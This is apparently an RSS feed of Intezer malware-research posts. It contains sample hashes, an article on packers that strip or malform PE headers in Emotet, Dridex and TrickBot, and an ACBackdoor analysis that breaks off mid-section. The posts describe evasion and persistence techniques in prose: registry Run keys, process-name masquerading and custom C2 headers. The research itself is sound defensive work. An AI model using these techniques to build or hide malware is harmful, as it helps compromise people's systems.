b4c75e1d94bc4c8affd6d9f433585ace2738772e6a04403ab67cce3df9574068
b07c2dfb4c57175446b6188bb4b1722272f63a301f18c5f46ee6401347894fea
a5468b6130d90bc74cf8e458297f6d4c7fc42b87184623aefd535bca658542ed
7c41de95313dc98a3fc4f6fe3910759c3561743dacc629dab11e754290f8c7aa
7b044b8eddd20d8e1c7d499a6c34b1bc373f5fe9d59bab7b4e3a341a5f4ce0b5
79ec318a968679f94d2ab0ba15daaeeb71406d2f744eb0cd1b314c4bb403114d
52b081dbaafbbae8ad812f9c50a1a5f7d8b0850b3c6dc69eccb3322f34286c2e
50406ec7fa22c78e9b14da4ccc127a899db21f7a23b1916ba432900716e0db3d
1d0e003ee653d1a7b80ff5e69c33689af04e45fc836a29e0853219dd100fd534
16bcb323bfb464f7b1fcfb7530ecb06948305d8de658868d9c3c3c31f63146d4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;macOS&lt;span class="hx:absolute hx:-mt-20" id="macos"&gt;&lt;/span&gt;
&lt;a href="#macos" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;522a5015d4d11833ead6d88d4405c0f4119ff29b1f64b226c464e958f03e1434&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Fantastic payloads and where we find them</title><link>https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/</link><pubDate>Mon, 30 Mar 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/</guid><description>
&lt;p&gt;Attackers have long used evasion features in their malware to avoid detection
by security products and analysis systems. One of the most common anti-analysis
tricks we have seen in today’s Windows malware is the use of packers. Packers
often complicate the analysis and detection of binary files by hiding the
malware’s real code and data; often referred to as the payload.&lt;/p&gt;
&lt;p&gt;The most common solution to overcome packing is the use of &lt;strong&gt;dynamic analysis&lt;/strong&gt;
(sandboxes) and emulation systems. However, as these solutions have become more
mainstream, packers have started to incorporate new &lt;strong&gt;anti-analysis&lt;/strong&gt; methods
to both detect and evade these systems.&lt;/p&gt;
&lt;p&gt;One such anti-analysis method which is becoming increasingly popular is the
malformation or complete removal of the Windows PE header from unpacked
malicious payloads. This can make both finding the malware payload and properly
analyzing its code more challenging.&lt;/p&gt;
&lt;p&gt;While removal of Windows PE headers from malicious payloads is not an entirely
new method, we are seeing some of the most popular and sophisticated crimeware
families fully incorporate this approach into their packers. Below we will
present some examples that demonstrate this trend through our Genetic Malware
Analysis platform, Intezer Analyze.&lt;/p&gt;
&lt;h2&gt;On packers and payloads&lt;span class="hx:absolute hx:-mt-20" id="on-packers-and-payloads"&gt;&lt;/span&gt;
&lt;a href="#on-packers-and-payloads" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When we investigate a packed malware file, the malware (payload) itself is
encrypted or encoded and therefore we can’t access its real code and data.
Typically, in order to analyze the malware’s code, we must execute the file in
a sandboxed environment, let it unpack itself, and then grab the payload from
memory.&lt;/p&gt;
&lt;p&gt;While various malware and packers operate in different ways, an abstraction of
a typical unpacking flow looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In this flow we can see that the packer will decode and execute a shellcode
component that will in turn decode and execute the real payload. This is just a
common scenario; some packers will not use a shellcode loader and instead they
will unpack the payload directly. It’s worth noting that unlike the packer’s
code, which is designed to be obfuscated and appear random, we have observed
that these shellcode components are often reused. This means that these
components generally have more value than the packer itself when investigating
them with code reuse analysis. Therefore, detecting and analyzing this
component’s code can be worthwhile for us.&lt;/p&gt;
&lt;p&gt;With that said, finding and analyzing the malware module itself is by far the
most effective way to properly detect and classify packed malware. The most
common way to identify malware payloads in memory is to search for PE header
artifacts. Knowing this, many attackers try to stay undetected by removing
these artifacts from the PE Header of the payload, or by using no PE header at
all, as we’ll see soon in the examples presented in this article.&lt;/p&gt;
&lt;h2&gt;The many faces of Emotet&lt;span class="hx:absolute hx:-mt-20" id="the-many-faces-of-emotet"&gt;&lt;/span&gt;
&lt;a href="#the-many-faces-of-emotet" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Emotet is one of the most widespread malware in the crimeware ecosystem which
has undergone a number of updates since its inception. In particular, we have
noticed that this malware is constantly evolving and adapting, both in the
malware code itself, and in the packers it uses. While switching the packer is
relatively inexpensive for the attacker and happens frequently, modifying the
malware’s code is much more costly and happens rarely.&lt;/p&gt;
&lt;p&gt;An interesting example of this can be seen when we compare the following Emotet
samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Emotet sample from June 2019:
&lt;code&gt;8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Emotet sample from December 2019:
&lt;code&gt;3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When looking at the code of the packed files themselves, we can see just how
different these samples are, showing no apparent connections to one another:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig2.png" title="Packer (June 2019) – 8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer (June 2019) – 8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig3.png" title="Packer (December 2019) – 3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer (December 2019) – 3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;But if we look at the unpacked memory module payloads after undergoing dynamic
analysis, we can see that they are nearly identical from a binary code
perspective:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig4.png" title="Payload (June 2019) – 8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload (June 2019) – 8e5089260064a955819a92ebccc43d05520e32d234dd3c176bed5f6d0665ebdb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig5.png" title="Payload (December 2019) – 3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload (December 2019) – 3e8a273f80575ab6079d6512008bb6355b59de978fabc2a9a66c0ed148b94fef&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;There is one notable exception: in the December 2019 sample, the payload memory
module has a &amp;ldquo;&lt;strong&gt;malformed header&lt;/strong&gt;&amp;rdquo; tag. In this case, this indicates that the
packer loaded the module with a PE Header that’s missing certain PE artifacts,
such as the &amp;ldquo;MZ&amp;rdquo; magic or other PE Header constants. This is usually done in an
attempt to make it more difficult to find these modules in memory, since the
most common method of finding PE memory modules is by scanning for these
artifacts.&lt;/p&gt;
&lt;p&gt;It is worth mentioning that in Intezer Analyze we repair the malformed header
as part of our analysis process. Downloading and examining the memory module
will reveal that it has a full PE header.&lt;/p&gt;
&lt;p&gt;It is also important to note that even in the instance of a constantly evolving
threat such as Emotet, when the attacker modifies the code of the malware
itself, there are still parts that remain unchanged. Therefore, when Intezer
Analyze executes the malware, finds its payload, and then analyzes its code, we
can still detect those traces to Emotet’s code that have not been modified.&lt;/p&gt;
&lt;p&gt;This can be observed when we investigate a recent sample of Emotet from March
2020. Looking at the packer’s code, we can see that it is different yet again,
and has no relations to any code we have seen previously:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig6.png" title="Packer (March 2020) – C6684aa4af41685ffc584c1b1bb78855c894b3dae7f6fae4fb572bc02525102f" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer (March 2020) – C6684aa4af41685ffc584c1b1bb78855c894b3dae7f6fae4fb572bc02525102f&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;However, when we look at the memory module payload itself, we can see that some
of the code is new and has been modified from previous versions. Most
importantly, a substantial part of the code has been reused from previous
Emotet variants that we have seen before:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig7.png" title="Payload (March 2020) – C6684aa4af41685ffc584c1b1bb78855c894b3dae7f6fae4fb572bc02525102f" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload (March 2020) – C6684aa4af41685ffc584c1b1bb78855c894b3dae7f6fae4fb572bc02525102f&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;When less is more&lt;span class="hx:absolute hx:-mt-20" id="when-less-is-more"&gt;&lt;/span&gt;
&lt;a href="#when-less-is-more" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;While using a malformed PE Header is a relatively simple trick, using no PE
header at all is a more sophisticated and complicated affair. It takes more
than just removing a few unused magic constants from the header in order to
conceal it. This method requires loading and executing the payload just like
shellcode.&lt;/p&gt;
&lt;p&gt;When malware authors write and compile the malware payload itself, it is
usually compiled and built into the form of standard PE files, not position
independent shellcode. Directly converting a sophisticated malware’s codebase
such as Dridex or TrickBot to run like shellcode can be complicated.&lt;/p&gt;
&lt;p&gt;Most malware authors choose a simpler option, using a packer that unpacks and
loads the payload module without using its PE Header at load time. These
packers typically store the relevant information from the PE header, such as
API import and relocations data, in a custom structure during packing time. The
packer then uses that structure during the unpacking process in order to
properly load the malware code.&lt;/p&gt;
&lt;h2&gt;Same Dridex, new tricks&lt;span class="hx:absolute hx:-mt-20" id="same-dridex-new-tricks"&gt;&lt;/span&gt;
&lt;a href="#same-dridex-new-tricks" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;An example of a popular malware that has recently adopted such a packer is the
Dridex banking trojan. Let’s compare two recent Dridex samples from February
2020:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Similar to Emotet, these packed files are very different from one another at
the code level, showing no resemblance:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig8.png" title="Packer – 9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer – 9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig9.png" title="Packer – 45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packer – 45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;However, when we look at the payloads themselves, we can see again that they
are actually very similar:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig10.png" title="Payload – 9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload – 9b6ffb05ec826b3fbff7db04ebd187e2f956a5730af1d36e10a9f56ee1bb767a&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig11.png" title="Payload – 45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Payload – 45e0408d3ae2647cb9be835a5277eb7de41c83d8e473d22d5b3772c2f65305fb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;There is one notable exception here as well, but in this case it is much more
substantial. In the second payload we can see the &amp;ldquo;&lt;strong&gt;fileless_code&lt;/strong&gt;&amp;rdquo; tag,
which indicates this module has no PE header. Downloading and examining this
module will make it known that it is indeed a binary file with no structure.&lt;/p&gt;
&lt;p&gt;Intezer Analyze detects these modules during dynamic analysis and analyzes
their code even though no PE Header is present. It will also detect any other
shellcode pieces that are used by the malware.&lt;/p&gt;
&lt;h2&gt;Look ma! No heads!&lt;span class="hx:absolute hx:-mt-20" id="look-ma-no-heads"&gt;&lt;/span&gt;
&lt;a href="#look-ma-no-heads" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;To demonstrate how prevalent this trend is, let’s look at the analyses of
recent samples of the Ursnif and TrickBot malware. When looking at the dynamic
analysis modules, we see several different malicious modules that are detected
and analyzed:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If we review them more closely, we will see that all of them — minus copies of
the original packer file — have the &amp;ldquo;fileless_code&amp;rdquo; tag, indicating that they
are all shellcode-style modules with no PE header:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig13.png" title="TrickBot – 26d61225f07e39d9e35880631c5043626eb8e3846a526a44015d3a5d03642d55" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;TrickBot – 26d61225f07e39d9e35880631c5043626eb8e3846a526a44015d3a5d03642d55&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/03/fantastic-payloads-and-where-we-find-them/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The use of pure shellcode and shellcode-style components in modern malware
seems to be a growing trend, one that is being adopted by some of the most
successful malware developers. At the same time, when we identify and analyze
these components using code reuse analysis, we can see that they are mostly
just a different version of the same thing.&lt;/p&gt;</description></item><item><title>ACBackdoor: Analysis of a New Multiplatform Backdoor</title><link>https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/</link><pubDate>Mon, 18 Nov 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have discovered an undetected Linux backdoor which does not have any known
connections to other threat groups.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig1.png" title="VirusTotal detection rate of ACBackdoor Linux variant" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal detection rate of ACBackdoor Linux variant&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In addition, we have found Windows variants of the same malware. As is common
with most Windows variants, this variant has a higher detection rate than its
Linux counterpart.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig2.png" title="VirusTotal detection rate of ACBackdoor Windows variant" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal detection rate of ACBackdoor Windows variant&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This malware seems to be unknown or at least undocumented to the infosec
community, which may indicate retooling of a known threat group or the
formation of a new one.&lt;/p&gt;
&lt;p&gt;We have dubbed this malware &lt;strong&gt;ACBackdoor&lt;/strong&gt;. ACBackdoor provides arbitrary
execution of shell commands, arbitrary binary execution, persistence, and
update capabilities.&lt;/p&gt;
&lt;p&gt;In this blog post we will explain the technical analysis of both ACBackdoor
variants and highlight their differences in implementation. The findings we
present strongly suggest the group behind this malware has previous experience
targeting Linux systems, and is expanding its coverage by porting ACBackdoor to
Windows.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Linux binary is a statically linked ELF file, while the Windows binary is a
dynamically linked PE file.&lt;/p&gt;
&lt;p&gt;Both instances of this malware are practically identical in terms of overall
functionality, with minor implementation differences. However, if we pay close
attention to each instance we can draw some conclusions regarding the nature of
the authors.&lt;/p&gt;
&lt;p&gt;Both malware instances share the same protocol to communicate with the same CNC
server. However, these instances have different delivery vectors:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig3.png" title="VirusTotal intelligence graph depicting connections between the samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;VirusTotal intelligence graph depicting connections between the samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Initially, we located the Linux instance in a Romanian-hosted server.
Unfortunately, we do not have further insights regarding the delivery vector
used to deploy the Linux variant.&lt;/p&gt;
&lt;p&gt;We later discovered via
&lt;a href="https://twitter.com/nao_sec/status/1193891281530830848"target="_blank" rel="noopener"&gt;@nao_sec&lt;/a&gt; that the
Windows instance was delivered via Fallout Exploit Kit.&lt;/p&gt;
&lt;p&gt;To understand more about the delivery system of Fallout Exploit Kit we highly
recommend reading nao_sec&amp;rsquo;s comprehensive
&lt;a href="https://nao-sec.org/2019/07/steady-evolution-of-fallout-v4.html"target="_blank" rel="noopener"&gt;article&lt;/a&gt; on
the subject matter.&lt;/p&gt;
&lt;p&gt;This finding suggests that the operators behind ACBackdoor had sufficient
funding to purchase Fallout Exploit Kit and that they are currently using it to
spread their Windows malware via malvertising campaigns.&lt;/p&gt;
&lt;h3&gt;Backdoor Analysis&lt;span class="hx:absolute hx:-mt-20" id="backdoor-analysis"&gt;&lt;/span&gt;
&lt;a href="#backdoor-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Windows variant of this malware does not represent a complex threat in
terms of Windows malware. Conversely, the Linux variant shows more
sophistication in regards to the implementation details used to replicate the
same functionality.&lt;/p&gt;
&lt;p&gt;We first noticed the compiled Windows binary was generated using the MinGW
compiler.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig4.png" title="MinGW strings identified in ACBackdoor Windows instance" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;MinGW strings identified in ACBackdoor Windows instance&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This indicates information regarding the malware authors’ development
environment preference.&lt;/p&gt;
&lt;p&gt;The main function is not obfuscated and appears to be straightforward in logic.
In the Windows variant we can see how some strings are decoded in the beginning
of the function.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig5.png" title="Windows instance main function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Windows instance main function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We can see Linux-specific strings among the decrypted strings, such as a kernel
thread process name or a path belonging to a Linux file system.&lt;/p&gt;
&lt;p&gt;These same strings are used in the Linux instance of this malware. In addition,
these strings do not have any other cross-references among the binary, which
may imply that the developers were too lazy to remove them when they were
porting code from their Linux implementation onto their Windows version.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig6.png" title="ACBackdoor Linux instance main function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;ACBackdoor Linux instance main function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After initial string decoding the malware serializes the victim by collecting
architecture, system, and MAC address information.&lt;/p&gt;
&lt;p&gt;The way the Windows variant collects this information is by calling the
correspondent Windows API functions in order to retrieve the subject
information such as IsWow64Process; to determine the architecture of the
operating system or GetAdaptersInfo to retrieve the system’s MAC address.&lt;/p&gt;
&lt;p&gt;The Linux variant, on the other hand, uses a different technique that mainly
relies on uname system call to retrieve architecture and system information, in
addition to a combination of socket / ioctl system calls to retrieve the MAC
address.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig7.png" title="Similarities in code structure between ACBackdoor Linux and Windows instances" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Similarities in code structure between ACBackdoor Linux and Windows instances&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After this information is collected, the malware will concatenate each of these
fields, add the string ‘0.5’ likely denoting some kind of versioning ID, and
will then MD5 hash the resulting string.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig8.png" title="Compromised host information collected from both ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Compromised host information collected from both ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After victim information has been serialized, the malware will apply some
persistence mechanisms. The Windows instance will initialize a registry entry
so that the malware will be executed on system start-up. The Linux instance
will set up various symbolic links and add an initrd script for the malware to
also run on system start-up. The Windows instance uses one of the most common
registry entries used in Windows malware:
&lt;code&gt;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The use of this registry entry indicates this actor’s level of inexperience by
using less conventional persistence techniques to write more complex Windows
malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig9.png" title="Persistence implementations across ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Persistence implementations across ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Based on the names chosen to label the persistent instances of this malware, we
can see that the Windows instance tries to masquerade itself as a Microsoft
Anti Spyware utility (&lt;code&gt;MsMpEng.exe&lt;/code&gt;), while the Linux instance attempts to
masquerade itself as the Ubuntu release update utility (&lt;code&gt;update-notifier&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The Linux instance will then set an independent session via fork/setsid system
calls in order to create an independent process. It will close unnecessary file
descriptors using prlimit/close system calls to then rename its process name to
that of a kernel thread, specifically &lt;code&gt;[kworker/u8:7-ev]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we run the ps command on a compromised Linux system we will see this process
name among the listed processes:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig10.png" title="Process renaming performed by ACBackdoor Linux instance" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process renaming performed by ACBackdoor Linux instance&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Command and Control Communication&lt;span class="hx:absolute hx:-mt-20" id="command-and-control-communication"&gt;&lt;/span&gt;
&lt;a href="#command-and-control-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware will proceed to communicate with the CNC. Both malware instances
share the same CNC server and transport protocol, that being HTTPS.&lt;/p&gt;
&lt;p&gt;The malware will send an initial packet to the CNC with the previously
collected victim information. The client does not appear to verify the
authenticity of the certificate on TLS handshake, therefore the communication
is prone to MITM attacks.&lt;/p&gt;
&lt;p&gt;The malware creates the headers for the HTTP request in which some custom
headers are included which embed specific information for the server to
collect. The following visual is an intercepted initial TLS stripped packet
from a compromised Linux host which displays these headers:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig11.png" title="Intercepted TLS stripped HTTPS packet" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intercepted TLS stripped HTTPS packet&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Among the different headers we can highlight the &lt;code&gt;Access-Control&lt;/code&gt; and
&lt;code&gt;X-Access&lt;/code&gt; headers which are unconventional HTTP headers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control contains the base64 encoded string of the command type. In
this case the type &lt;code&gt;info&lt;/code&gt;, which is the preliminary packet sent to the CNC.&lt;/li&gt;
&lt;li&gt;X-Access contains an MD5 hash used as an integrity check for the contained
payload. This MD5 hash was previously generated after victim information was
collected as documented above.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The payload is base64 encoded and it contains the crafted string containing all
of the compromised host’s collected information.&lt;/p&gt;
&lt;p&gt;The malware then expects a response to this preliminary package in order to
execute commands.&lt;/p&gt;
&lt;p&gt;There is a total of four commands supported by ACBackdoor: these being info,
run, execute, and update.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig12.png" title="Control flow graph similarities on command handling across samples" alt="" loading="lazy" /&gt;
